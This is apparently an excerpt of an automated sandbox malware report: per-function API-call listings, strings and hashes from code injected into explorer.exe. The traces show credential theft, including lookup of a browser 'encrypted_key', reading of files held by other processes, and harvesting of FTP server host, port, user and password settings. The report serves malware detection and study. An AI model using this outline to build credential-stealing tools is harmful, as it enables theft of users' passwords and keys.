Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00433FA8), ref: 00431C76

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 06eb32add6240f0a793eed4b82eac5faa8fad9f7c27363e4d0b461628090d41c
Instruction ID: f58f94a93fd8a76c8d961baa6f53adc1d70afcf191dd552b82e5a73b1bc66a7b
Opcode Fuzzy Hash: 06eb32add6240f0a793eed4b82eac5faa8fad9f7c27363e4d0b461628090d41c
Instruction Fuzzy Hash: 7DF0F4312002187BD2245F26DC88E7F7A5CDB4B7F9F12172EF915921A1DB1A5C01427C

Function 00432FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,00433E30,00000000,00000000,?,00433FA8), ref: 00432FC1
lstrlen.KERNEL32("encrypted_key":",?,00433FA8), ref: 00432FCE
StrStrIA.SHLWAPI("encrypted_key":",0048692C,?,00433FA8), ref: 00432FDD

Part of subcall function 0043190B: lstrlen.KERNEL32(?,?,?,?,00000000,00432783), ref: 0043192B
Part of subcall function 0043190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00432783), ref: 00431930
Part of subcall function 0043190B: lstrcat.KERNEL32(00000000,?), ref: 00431946
Part of subcall function 0043190B: lstrcat.KERNEL32(00000000,00000000), ref: 0043194A

Strings

"encrypted_key":", xrefs: 00432FBA, 00432FBF, 00432FCD, 00432FDC

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: f64e6089d9344851f781a634403936a5364875a002928447fcb8afbbcb4a608f
Instruction ID: 248c4bf99aad6bc820a98a613c578d0b51f14fa19f4a594c7e4924ac255bef3a
Opcode Fuzzy Hash: f64e6089d9344851f781a634403936a5364875a002928447fcb8afbbcb4a608f
Instruction Fuzzy Hash: C4E09B72609A646F83A56BB91C5894F7F5CAE0A61570A047AF50197213DF998801D3AC

Function 0043BAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 0043BB40

Strings

winDelete, xrefs: 0043BB6A

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 9affb1942672b0aa136b5f2f39742b6e1948f02d29bd6170179affab7c79c8b0
Instruction ID: 2b57f0a585499d123026b7ee8de308b40b580a2f8fddc38c12d08ef168d3248d
Opcode Fuzzy Hash: 9affb1942672b0aa136b5f2f39742b6e1948f02d29bd6170179affab7c79c8b0
Instruction Fuzzy Hash: 2211E531A00208EB8710AB658842A7EB775DF99760F10616BEA42D7794DF38AD0297DA

Function 00432EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00431011: GetProcessHeap.KERNEL32(00000000,00000000,?,00431A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2), ref: 00431020
Part of subcall function 00431011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431027

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 00432EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00432F54
RegCloseKey.KERNELBASE(?), ref: 00432F62

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: e8bc8986706d98e1410642239f6414fced19a6a6c2fabb99bc60ea76ecacb0d1
Instruction ID: 3a389d19b97f46651b893b1ba779a083bed3ae6ab70b4b3decab3a45fb97eea5
Opcode Fuzzy Hash: e8bc8986706d98e1410642239f6414fced19a6a6c2fabb99bc60ea76ecacb0d1
Instruction Fuzzy Hash: 0001D635204250ABC719AF22DC05D6F7FB9EFCD358F00443EF81982160CA398845EBAA

Function 00434B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00434B74
CoUninitialize.COMBASE ref: 00434B83
ExitProcess.KERNEL32 ref: 00434B8B

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 6a616c290e7709dc527bdbb42e6b90dea176575cf3692c0bbb8aa4a84ba368d2
Instruction ID: cdcad3cdf69ff745295f11d1b6cef45371f2a4bf8c9d1fca54ea571b7c81e596
Opcode Fuzzy Hash: 6a616c290e7709dc527bdbb42e6b90dea176575cf3692c0bbb8aa4a84ba368d2
Instruction Fuzzy Hash: 32C09B303441004BE6C03FF15C0D74D3614EF44727F0158ADF20DC50A1DB5464009B3E

Function 00439FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 00439FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 0043A00E

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 831a35854963246e8725b4200501b28da5614a87eb6b3f7e817c9f79a1424388
Instruction ID: b91165095fc7e8d730bd8fae112f3ce09205104953419c03fb2733ee45d4dd72
Opcode Fuzzy Hash: 831a35854963246e8725b4200501b28da5614a87eb6b3f7e817c9f79a1424388
Instruction Fuzzy Hash: F5F02B72648341BBE7301E54DC88F2767ACD79C789F20183BF986D2240E2B8AC01833D

Function 00431AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,00432E83,PathToExe,00000000,00000000), ref: 00431B16

Part of subcall function 00431011: GetProcessHeap.KERNEL32(00000000,00000000,?,00431A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2), ref: 00431020
Part of subcall function 00431011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431027

Part of subcall function 004319E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A1E
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A3C
Part of subcall function 004319E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00431A75
Part of subcall function 004319E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00431B40

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: 5fd5837eb178fd12c739eba98a902e93e94e63e485a28a47c4b1e42123986e93
Instruction ID: bde18d6c00b61c63783d1dcb8ad73af420728683423087e064c2d80392746c95
Opcode Fuzzy Hash: 5fd5837eb178fd12c739eba98a902e93e94e63e485a28a47c4b1e42123986e93
Instruction Fuzzy Hash: B3F0242670064817D6112A2ACC80E3B765ECBCA3AAB03003FF41983221EE2B7C40827C

Function 0043A33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 0043A35F

Strings

winSeekFile, xrefs: 0043A381

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: 9e7868070d0d0efac637fa1195353d9a264a979019d57a990f5c0dfc1d614ed7
Instruction ID: c28ba9198957e6ade5bc78ec97c0b506018acf4652cdaaba75a41c9fd50f8004
Opcode Fuzzy Hash: 9e7868070d0d0efac637fa1195353d9a264a979019d57a990f5c0dfc1d614ed7
Instruction Fuzzy Hash: 98F09030654204AF97119F64DC01AAB77AAEB49320F20866BFDA1C66D0DA34DD1096A6

Function 00439EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(04CB0000,00000000,?), ref: 00439EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 00439ECD

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: bf51ed5dc28e2c5015eb164a600b4904d16f840817b1dfb19a020fe8bd611539
Instruction ID: 0551b5b1d8191fa4f4d9f3370da66dc03010a84e56b9dfb570d933922bc5f580
Opcode Fuzzy Hash: bf51ed5dc28e2c5015eb164a600b4904d16f840817b1dfb19a020fe8bd611539
Instruction Fuzzy Hash: DBE0C2776082117BC2222794AC05F2FB768EBA8F50F150037FA00A26B0C2B8DC0187AA

Function 00439EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(04CB0000,00000000,?), ref: 00439EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 00439F0E

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: ca53e07b40ff8a631e016933696b89010de0571b60cadc6d8d0019ce1dbb1901
Instruction ID: 5f80be317e21cce8f094aec7d8abf2be8a6a435f0bcba425abd992bf3b123478
Opcode Fuzzy Hash: ca53e07b40ff8a631e016933696b89010de0571b60cadc6d8d0019ce1dbb1901
Instruction Fuzzy Hash: A5D0C27310820177C3102B509C01F3F7738AFA8B00F04043BF21091175C2B89840AB6D

Function 00431B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00432893,00000000,00000000,00000000,?), ref: 00431B82
CloseHandle.KERNELBASE(00000000), ref: 00431B8F

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: bd29e5d7c0f63967d2a91a6c65664367067c9d4455676ac7d3552c95f08f7f35
Instruction ID: 5789d7cd6e24c7bc6b24fb9a2dc4514b16513a98844a6f4d48f25c84bfd42507
Opcode Fuzzy Hash: bd29e5d7c0f63967d2a91a6c65664367067c9d4455676ac7d3552c95f08f7f35
Instruction Fuzzy Hash: 14D0127125363062D5B557357C0CEABAE1CDF076B5F050A25B51DD91E1E2189C8782E8

Function 00431011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00431162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0043116F

GetProcessHeap.KERNEL32(00000000,00000000,?,00431A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2), ref: 00431020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00431AE2,PortNumber,00000000,00000000), ref: 00431027

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: 3c24d6c787b04d5b3ce9f73348c8e9acc572de3f80428b95906996088c581c1e
Instruction ID: 466a28dcb9207cbeda36715575463fb0f31d55aad8d1e8272c8899010e5ec0f5
Opcode Fuzzy Hash: 3c24d6c787b04d5b3ce9f73348c8e9acc572de3f80428b95906996088c581c1e
Instruction Fuzzy Hash: 39C08C3100022052C9A02BA03C0CBCF2B1ACF0D322F02085AB90197263CA698C4183A8

Function 00431000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: bb9f95b2706471de0f2ba9de71f283c28a52f394edfbdcdc45cc1c247f8c3644
Instruction ID: 787d245fb9655365faefe1cbd4fba9effdba40b613877560947bc4d7a19650dd
Opcode Fuzzy Hash: bb9f95b2706471de0f2ba9de71f283c28a52f394edfbdcdc45cc1c247f8c3644
Instruction Fuzzy Hash: D7A002755501045BDD845BA49E4DA1E3519F744702F114958754586053D96454048725

Function 004312A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 004312B5

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: af48dd5e402ec486cb4fa509ddbe2b674e330584176a2a1f566f9359c9d4a5cb
Instruction ID: 5ade35cb5213dba85017e0bc9578c55474da29059dd4270e44ca2c88fcba699d
Opcode Fuzzy Hash: af48dd5e402ec486cb4fa509ddbe2b674e330584176a2a1f566f9359c9d4a5cb
Instruction Fuzzy Hash: E311F8B1A01209AFDB50DFA5D988AAFB7BCEB08741F10442AF945E7251D734DD01CB68

Function 00431B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00432C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 00431BAA

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 29f40640e66eaeead4d2f74a220b9a99a05c2f2a2a2cad5e31793062cc2aea99
Instruction ID: b693558cb1f35c50d0c808c9f70e4ee0c3361309c7449f4fc5c04912652c963b
Opcode Fuzzy Hash: 29f40640e66eaeead4d2f74a220b9a99a05c2f2a2a2cad5e31793062cc2aea99
Instruction Fuzzy Hash: 46D0A733D0243042896456343C04857E1445A0577471B0775FC25F32E0E228DC8243C8

Function 00431677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00431684

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 05f25da1cbb2d5891a4e47ee756b5c67aa094baf3c2920428fa212332c42acdc
Instruction ID: c81a99ab08c7f8712347e7db531447aab7e0122f9b54079b80138b8069807361
Opcode Fuzzy Hash: 05f25da1cbb2d5891a4e47ee756b5c67aa094baf3c2920428fa212332c42acdc
Instruction Fuzzy Hash: 8DC012301202219FE7602A608C0AB8A26D4AF197A2F0619AAA0859D090E2A808C08A94

Function 0043104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0043158A), ref: 00431056

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7b37b37bd7d0c94f66ebc6f685c31fe765d24cd3d08a98ba3b2c5cd90fde1851
Instruction ID: 3035af6bfdf8d380f5ac43a5eb8c7f016089f06affd869601e7dba3012b447ff
Opcode Fuzzy Hash: 7b37b37bd7d0c94f66ebc6f685c31fe765d24cd3d08a98ba3b2c5cd90fde1851
Instruction Fuzzy Hash: D2A002F07D53007AFDA997A2AE1FF1929389741F02F110658B30D7C0D056E57500862D

Function 0043105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,00434A5B,?,?,00000000,?,?,?,?,00434B66,?), ref: 00431065

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 89ab71ac070360565af09993e5ad2fd24c2a2e0f2080eb04729c32744004c38b
Instruction ID: 44aa8079cca54ab86f571b86f5cedd974066a2b77ab06bfd82e7a1c26f315ffd
Opcode Fuzzy Hash: 89ab71ac070360565af09993e5ad2fd24c2a2e0f2080eb04729c32744004c38b
Instruction Fuzzy Hash: E0A0027069070066EDF45B205D0EF0926156740B01F2149587641AD0D249A5E0448B1C

Non-executed Functions

Function 0043349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 004334C0

Part of subcall function 004333C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 00433401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004337A8), ref: 004334E9

Part of subcall function 00431000: GetProcessHeap.KERNEL32(00000008,?,004311C7,?,?,00000001,00000000,?), ref: 00431003
Part of subcall function 00431000: RtlAllocateHeap.NTDLL(00000000), ref: 0043100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 0043351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 00433541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00433586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 0043358F
lstrcmpiW.KERNEL32(00000000,File), ref: 004335B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 004335DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 004335F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 00433606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0043361E
GetFileSize.KERNEL32(?,00000000), ref: 00433631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00433658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0043366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00433681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004336AD
CloseHandle.KERNEL32(?), ref: 004336C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004337A8), ref: 004336F5

Part of subcall function 00431C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00431CC0
Part of subcall function 00431C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00431CDA
Part of subcall function 00431C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00431CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,004337A8), ref: 00433707

Strings

File, xrefs: 004335B0

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 2131a2303e721dfae2174c6bd9b6d26caca89b65fabeae345ffcf0fd2ed382b2
Instruction ID: 44a0c8185f7fd8acd06a206b58f9a9064254d1b3ce0e4d5e5d7d9e13e6c0d445
Opcode Fuzzy Hash: 2131a2303e721dfae2174c6bd9b6d26caca89b65fabeae345ffcf0fd2ed382b2
Instruction Fuzzy Hash: 6E61A070204300BFD760AF21CC89F2F7BE9EB88756F10192DF946963A1D779DA448B59

Function 00484438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL(localhost,00000007,00000009,00000002,?,00000000,000001D8,?,00000000), ref: 00484502
memcmp.NTDLL(00000000,?,?,00000002,?,00000000,000001D8,?,00000000), ref: 0048475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 00484803

Strings

localhost, xrefs: 004844FD
invalid uri authority: %.*s, xrefs: 00484513
cach, xrefs: 004846DC
no such vfs: %s, xrefs: 0048482F
mode, xrefs: 00484712
file, xrefs: 00484474
no such %s mode: %s, xrefs: 00484784
cache, xrefs: 004846FA
%s mode not allowed: %s, xrefs: 004847D0
access, xrefs: 00484725

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 04a69ccf047413bb2107c853bfc65e2737904645a85727e66eda4176b3b390b1
Instruction ID: f9cb84a6d7bdab28ce42f23e2e95cdad0568f83e3312e7cb6ac1390aa6dd0e2b
Opcode Fuzzy Hash: 04a69ccf047413bb2107c853bfc65e2737904645a85727e66eda4176b3b390b1
Instruction Fuzzy Hash: 3EC1D170A083539BDB34AE18849172FB7D1ABDA318F140D2FE4D597352E72C9845875E

Function 00455F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 00436AAA: memset.NTDLL ref: 00436AC5

memset.NTDLL ref: 00455F53

Strings

no such column: "%s", xrefs: 00456271
indexed, xrefs: 004560E8
foreign key, xrefs: 004560A3
cannot open view: %s, xrefs: 00455FF3
cannot open table without rowid: %s, xrefs: 00455FCF
cannot open %s column for writing, xrefs: 00456255
cannot open virtual table: %s, xrefs: 00455FAA

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 7e1712b6b048669f37cd20d3946d9390c2fc274e3b7fcc62b60d0141213af27a
Instruction ID: 58600f9d49a2d4cf012793eb93f52d2e1654d9b299c31ced64b813b859bf2337
Opcode Fuzzy Hash: 7e1712b6b048669f37cd20d3946d9390c2fc274e3b7fcc62b60d0141213af27a
Instruction Fuzzy Hash: 9BC18D70604702AFDB14DF25C480A2FB7E2BF88715F55891EF84487382DB39D95ACB9A

Function 00434440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(004862B0,00000000,00000001,004862A0,?), ref: 0043445F
SysAllocString.OLEAUT32(?), ref: 004344AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 0043456E
lstrcmpiW.KERNEL32(Servers,?), ref: 0043457D
lstrcmpiW.KERNEL32(Settings,?), ref: 0043458C

Part of subcall function 004311E1: lstrlenW.KERNEL32(?,7622F360,00000000,?,00000000,?,004346E3), ref: 004311ED
Part of subcall function 004311E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0043120F
Part of subcall function 004311E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00431231

lstrcmpiW.KERNEL32(Server,?), ref: 004345BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 004345CD
lstrcmpiW.KERNEL32(Host,?), ref: 00434657
lstrcmpiW.KERNEL32(Port,?), ref: 00434679
lstrcmpiW.KERNEL32(User,?), ref: 0043469F
lstrcmpiW.KERNEL32(Pass,?), ref: 004346C5
wsprintfW.USER32 ref: 0043471E

Strings

Port, xrefs: 00434674
User, xrefs: 0043469A
LastServer, xrefs: 004345C8
Settings, xrefs: 00434587
Pass, xrefs: 004346C0
%s:%s, xrefs: 00434718
RecentServers, xrefs: 00434569
Servers, xrefs: 00434578
Server, xrefs: 004345B9
Host, xrefs: 00434652

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: 445fdfdd74574c051e3f5cc9fff04f89ba264ec1822ded7891338a5ccfd602e3
Instruction ID: fc015ca3d079c8d6687890a0cde6a1c3ad820aae2fc8187c7f07a69e09f70ee7
Opcode Fuzzy Hash: 445fdfdd74574c051e3f5cc9fff04f89ba264ec1822ded7891338a5ccfd602e3
Instruction Fuzzy Hash: 99B13771204302AFD740EF64C884E6BB7E9EFC9745F10896DF5898B260DB75E806CB66

